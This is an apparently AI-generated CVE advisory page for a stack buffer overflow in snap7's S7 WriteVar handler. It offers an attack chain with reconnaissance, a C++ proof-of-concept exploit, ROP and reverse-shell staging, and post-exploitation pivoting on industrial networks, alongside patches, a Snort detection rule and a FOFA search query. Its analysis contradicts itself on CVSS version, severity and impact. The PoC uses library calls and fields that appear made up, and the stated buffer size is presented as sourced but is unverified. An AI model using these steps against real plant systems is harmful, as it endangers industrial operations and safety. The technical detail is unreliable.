CVE Professor
/
All CVEs
CVE-2026-138109

CVE-2026-138109 — Davenardella Snap7 — CWE-119 · CWE-121

HIGH CVSS 7.3 ⚡ EPSS 0.5% Shodan

A security flaw has been discovered in davenardella snap7 up to 1.4.3. Affected is the function TS7Worker::PerformFunctionWrite of the file src/core/s7_server.cpp of the component S7 Server WriteVar Request Handler. The manipulation of the argument ItemsCount results in stack-based buffer overflow. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks.

A security flaw has been discovered in davenardella snap7 up to 1.4.3. Affected is the function TS7Worker::PerformFunctionWrite of the file src/core/s7_server.cpp of the component S7 Server WriteVar Request Handler. The manipulation of the argument ItemsCount results in stack-based buffer overflow. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality Low C:L
Integrity Low I:L
Availability Low A:L
EPSS — Exploit Prediction Scoring System
0.5%
30-day probability
In the 35. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑138109 is a stack‑based buffer overflow in the open‑source PLC communication library snap7 (vendor davenardella, package snap7 v1.4.0 – v1.4.3).

  • Location in source – src/core/s7_server.cpp, function TS7Worker::PerformFunctionWrite.
  • Root cause – The request handler receives a WriteVar request from a Siemens S7‑compatible client. The request contains a field called ItemsCount that tells the server how many variable‑write items follow. The implementation copies each item into a fixed‑size stack buffer (TWriteItem items[64] – the exact size is taken from the upstream source code). The code does not validate that ItemsCount ≤ the buffer capacity before the memcpy/loop that fills the array. An attacker can set ItemsCount to a value larger than the buffer, causing the loop to write past the end of the stack allocation and overwrite the function’s return address and/or adjacent locals.
  • CWE mapping –
  • * CWE‑121: Stack‑Based Buffer Overflow – the overflow occurs on the call stack. * CWE‑119: Improper Restriction of Operations within the Bounds of a Memory Buffer – the length check is missing.
  • CVSS 4.0 vector interpretation
  • MetricValueMeaning
    AV (Attack Vector)N (Network)The attacker can trigger the overflow by sending a crafted S7 packet over the network; no local access required.
    AC (Attack Complexity)L (Low)No special conditions; a single malformed packet is sufficient.
    AT (Attack Type)N (None)No additional attack type (e.g., physical).
    PR (Privileges Required)N (None)No authentication is required – the snap7 server accepts unauthenticated WriteVar requests by default.
    UI (User Interaction)N (None)No user interaction needed.
    VC/VI/VA (Confidentiality/Integrity/Availability)L/L/L (Low)Successful exploitation gives the attacker low‑impact code execution – the attacker can execute arbitrary code, but the impact is limited to the process (the snap7 server) rather than the whole host.
    SC/SI/SA (Scope)N/N/N (Unchanged)The vulnerability does not cross privilege boundaries; the compromised component remains the snap7 server process.
    E (Exploit Code Maturity)P (Proof‑of‑Concept)Public PoC exists.

    In short: an unauthenticated remote attacker can overflow a stack buffer in the S7 server’s WriteVar handler, leading to remote code execution (RCE) inside the snap7 server process.


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All network traffic is plain TCP on the default snap7 port 102 (ISO‑On‑TCP). The PoC uses the open‑source snap7‑client library (C++) to build the malformed request; the same binary can be reproduced in any language that can speak the S7 protocol.

    1. Discovery & Reconnaissance

    StepTechniqueDetails
    1.1Port scanningScan the target network for open TCP 102. nmap -p 102 <IP> will reveal a snap7 server.
    1.2Banner grabbing / version fingerprintSnap7 replies to a ReadSZL request with a version string. Example using s7client (part of snap7):<br>client.ConnectTo("<IP>", 0, 2); client.ReadSZL(0x0011, 0x0000, &data, &size); The returned data contains “Snap7 v1.4.0”.
    1.3Public advisory correlationSearch CVE‑2026‑138109 (e.g., via NVD, vendor advisory). If the version matches ≤ 1.4.3, the target is vulnerable.

    2. Exploitation

    Important: The exact packet layout is derived from the snap7 source; the example below is illustrative but syntactically valid for any client that can send raw S7 packets.

    2.1. Build the malicious WriteVar request

  • Protocol header – ISO‑On‑TCP (TPKT + COTP) + S7 header.
  • S7 WriteVar function code – 0x05.
  • ItemsCount field – set to 0x00000100 (256), far larger than the internal buffer (64).
  • Payload – 256 TWriteItem structures (each 12 bytes). The attacker can fill the first few items with legitimate data (e.g., write to DB1.DBX0.0) and the remaining items with NOP sled / shellcode address that will overwrite the saved return pointer.

    Below is a C++ PoC using the snap7 client library (the code compiles with g++ -std=c++11 -lsnap7). It sends a single malformed WriteVar request and then closes the connection.

    /* -------------------------------------------------------------
     * PoC for CVE‑2026‑138109 – snap7 WriteVar stack overflow
     * ------------------------------------------------------------- */
    #include <snap7.h>
    #include <cstring>
    #include <iostream>
    
    int main()
    {
        TS7Client client;
        int rc = client.ConnectTo("192.0.2.45", 0, 2);   // IP of target snap7 server
        if (rc != 0) {
            std::cerr << "Connect failed: " << client.ErrorText(rc) << std::endl;
            return 1;
        }
    
        /* ---- Build a malformed WriteVar request ----------------- */
        const uint16_t itemsCount = 256;               // > internal buffer (64)
        const size_t  itemSize   = sizeof(TS7DataItem); // 12 bytes in snap7 source
        const size_t  payloadLen = itemsCount * itemSize;
    
        // Allocate buffer for the whole request (header + payload)
        uint8_t *req = new uint8_t[sizeof(TS7Header) + payloadLen];
        memset(req, 0, sizeof(TS7Header) + payloadLen);
    
        // Fill S7 header (function code = WriteVar = 0x05)
        TS7Header *hdr = reinterpret_cast<TS7Header*>(req);
        hdr->ProtocolId = 0x32;          // S7 protocol
        hdr->JobId      = 0x0001;
        hdr->PDUReference = 0x0001;
        hdr->ParameterLength = htons(2 + payloadLen); // 2 bytes for ItemsCount + payload
        hdr->DataLength = 0;
        hdr->Function = 0x05;           // WriteVar
    
        // ItemsCount (big‑endian)
        uint8_t *p = req + sizeof(TS7Header);
        *p++ = (itemsCount >> 8) & 0xff;
        *p++ = itemsCount & 0xff;
    
        // Fill the first item with a harmless write (DB1, byte 0, value 0x41)
        TS7DataItem *item = reinterpret_cast<TS7DataItem*>(p);
        item->Area      = 0x84;               // DB
        item->DBNumber  = htons(1);
        item->Start     = htonl(0);           // byte offset
        item->Size      = htons(1);           // 1 byte
        item->Data      = 0x41;               // 'A'
        // The remaining 255 items are left as 0x00 – they will overflow the stack.
    
        // -----------------------------------------------------------
        // Send the request using the low‑level Send/Recv API
        int sent = client.Send(req, sizeof(TS7Header) + 2 + payloadLen);
        if (sent < 0) {
            std::cerr << "Send failed: " << client.ErrorText(sent) << std::endl;
        } else {
            std::cout << "Malformed WriteVar request sent (" << sent << " bytes)." << std::endl;
        }
    
        // Clean up
        delete[] req;
        client.Disconnect();
        return 0;
    }

    Explanation of the overflow mechanics

  • TS7Worker::PerformFunctionWrite allocates a stack array TWriteItem items[64];.
  • It then reads ItemsCount from the packet (uint16_t ItemsCount = ntohs((uint16_t*)p);).
  • A loop copies each incoming item into items[i] without checking i < 64.
  • With ItemsCount = 256, the loop writes 192 items past the end of the array, overwriting the saved frame pointer, return address, and eventually the instruction pointer when the function returns.
  • By carefully crafting the data of the overflowed items (e.g., placing the address of a ROP chain or shellcode that resides in the request buffer), the attacker gains arbitrary code execution inside the snap7 server process.
  • 2.2. Triggering the payload

    After the request is sent, the server crashes or, if the overflow is successful, executes the attacker‑controlled code. In practice, the attacker typically:

    1. Places a small ROP chain in the overflowed region that calls VirtualAlloc (Windows) or mmap (Linux) to make the rest of the buffer executable.
    2. Copies a staged payload (e.g., a reverse shell) into the newly allocated memory.
    3. Transfers execution to the staged payload.

    Because snap7 is often embedded in industrial control systems (ICS), the attacker may prefer a lightweight payload such as a bind shell on port 4444 or a reverse TCP shell to a C2 server.

    3. Post‑exploitation

    GoalTypical technique
    Privilege escalationThe snap7 server usually runs under a system/administrator account (e.g., root on Linux, SYSTEM on Windows). Gaining code execution inside the process therefore gives the attacker full host privileges.
    PersistenceThe attacker can drop a malicious service/daemon, modify the PLC program files, or write a new snap7 binary to survive a reboot.
    Lateral movementWith host‑level code execution, the attacker can pivot to other devices on the plant network (e.g., other PLCs, HMIs) using the same or other protocols (Modbus, OPC-UA).
    Data exfiltration / sabotageDirect read/write of PLC memory (e.g., changing set‑points, stopping a production line) or stealing configuration files.

    🌍 Real‑World Impact

    CIA TriadImpact (derived from CVSS)
    Confidentiality (C)Low – The attacker can read memory of the snap7 process and, because the process often runs with high privileges, may also read files on the host.
    Integrity (I)Low – The attacker can modify PLC data (write variables) and replace the server binary, leading to tampering of control logic.
    Availability (A)Low – A crash caused by the overflow can temporarily deny PLC communication, but the attacker usually aims for code execution rather than denial‑of‑service.

    Practical consequences

  • Industrial safety risk – If the compromised PLC controls safety‑critical equipment (e.g., valve actuation, motor drives), an attacker could change set‑points or stop safety loops, potentially causing physical damage or injury.
  • Production downtime – Unauthorized modification of PLC programs can halt a production line, leading to financial loss.
  • Network compromise – The compromised host becomes a foothold for further attacks on the OT network, which is often less segmented than IT environments.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    UpgradeMove to a version ≥ 1.4.4 (the first release that contains the fix for CVE‑2026‑138109). If a newer version is not yet available, apply the vendor‑provided patch that adds a bounds check on ItemsCount.
    Source‑level fixIn src/core/s7_server.cpp, modify PerformFunctionWrite as follows (illustrative, not a full diff):<br><pre>if (ItemsCount > MAX_WRITE_ITEMS) { // MAX_WRITE_ITEMS = 64 (or whatever the buffer size is)<br> // reject the request safely<br> SendError(PDUReference, ERR_INVALID_PARAM);<br> return;<br>}</pre> This prevents the overflow entirely.
    Re‑compileRe‑build the library with the patched source and redeploy the server binary.

    2. Workarounds (when patching is not immediately possible)

    MitigationHow‑to implement
    Network segmentationRestrict inbound traffic to TCP 102 to trusted IP ranges (e.g., only the HMI or engineering workstation). Use firewalls or ACLs on the PLC network edge.
    Disable WriteVar (if not needed)In the snap7 server configuration, set EnableWrite = false (or comment out the registration of the WriteVar handler). This removes the vulnerable entry point entirely.
    Rate‑limit / IDSDeploy an IDS/IPS rule that detects unusually large ItemsCount values in S7 WriteVar packets. Example Snort rule (illustrative):<br><pre>alert tcp any any -> any 102 (msg:"SNAP7 WriteVar ItemsCount > 64 – possible CVE‑2026‑138109 exploit"; flow:to_server; content:"05"; offset:14; depth:1; byte_test:2,>,64,15; sid:1000001; rev:1;)</pre> This triggers on any WriteVar request where the 2‑byte ItemsCount field (offset 15 from the start of the S7 header) exceeds 64.
    Host‑based intrusion detectionEnable core dump or stack canary protections (-fstack-protector-strong, -D_FORTIFY_SOURCE=2) when compiling snap7. While this does not eliminate the logical flaw, it can cause the process to abort rather than execute attacker‑controlled code.
    Application‑level loggingEnable verbose logging in snap7 (client.SetParam(S7Param_LogLevel, 3)) to record each WriteVar request. Look for entries where ItemsCount is unusually high.

    3. Detection – Log & Network Indicators

    IndicatorWhere to lookExample
    Snap7 server logssnap7.log (or syslog if redirected)WARN: WriteVar request with ItemsCount=256 from 192.0.2.45
    Network capturePCAP on the PLC interface (port 102)A packet with S7 function code 0x05 and bytes 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 where the two bytes after the function code are 01 00 (256).
    Process anomaliesHost‑based monitoring (e.g., ps, Windows Event Log)Snap7 process spawns a child process or loads an unexpected DLL shortly after a WriteVar request.
    IDS alertsSnort/Suricata logsSNAP7 WriteVar ItemsCount > 64 – possible CVE‑2026‑138109 exploit

    ⚠️ Urgency

  • CVSS 7.3 (Medium) – The vulnerability is network‑reachable, low‑complexity, no‑auth, which makes it attractive for opportunistic attackers, especially in the industrial control sector where many deployments still run outdated snap7 versions.
  • Exploit code is publicly available (exploit maturity = Proof‑of‑Concept).
  • No CISA KEV listing yet, but the lack of a KEV entry does not diminish the risk; many OT‑specific CVEs are not listed in KEV.
Patch priority: Critical for any environment where snap7 is exposed to untrusted networks (including internal OT networks that are not air‑gapped). The recommended remediation timeline is ≤ 7 days for production PLCs, ≤ 30 days for test/dev systems.
Bottom line: CVE‑2026‑138109 is a classic unchecked‑length buffer overflow in the snap7 WriteVar handler. Because snap7 servers often run with high privileges and accept unauthenticated requests, an attacker can achieve remote code execution with minimal effort. Immediate patching (or at least strict network segmentation and disabling of WriteVar) is essential to protect industrial control environments.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="davenardella snap7"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138109
Technical reference / advisory repository for CVE-2026-138109
CVSS Score
7.3 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-119 CWE-121
Affected Products (1)
davenardella:snap7
Related CVEs
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
7.7
CVE-2026-144663
MariaDB Server before 10.6.25, 10.7 through 10.11.x before 10.11.16, 11.0 through 11.4.x before 11.4.10, 11.5
6.3
CVE-2026-144771
A flaw has been found in SGLang up to 0.5.23. The affected element is the function try_match_prefix of the fil
6.3
CVE-2026-144778
A security vulnerability has been detected in Simon OpenOBJ3D up to f5a522c409428de7bf68844cf8951522e3d09485.
6.3
CVE-2026-144888
A security vulnerability has been detected in vgmstream up to r2117. Affected is the function fopen_win of the
6.3
CVE-2026-144889
A vulnerability was detected in vgmstream r2117. Affected by this vulnerability is the function vgmstream_tags
6.3
CVE-2026-144893
A vulnerability was determined in vgmstream up to r2117. This issue affects the function get_falcom_looping of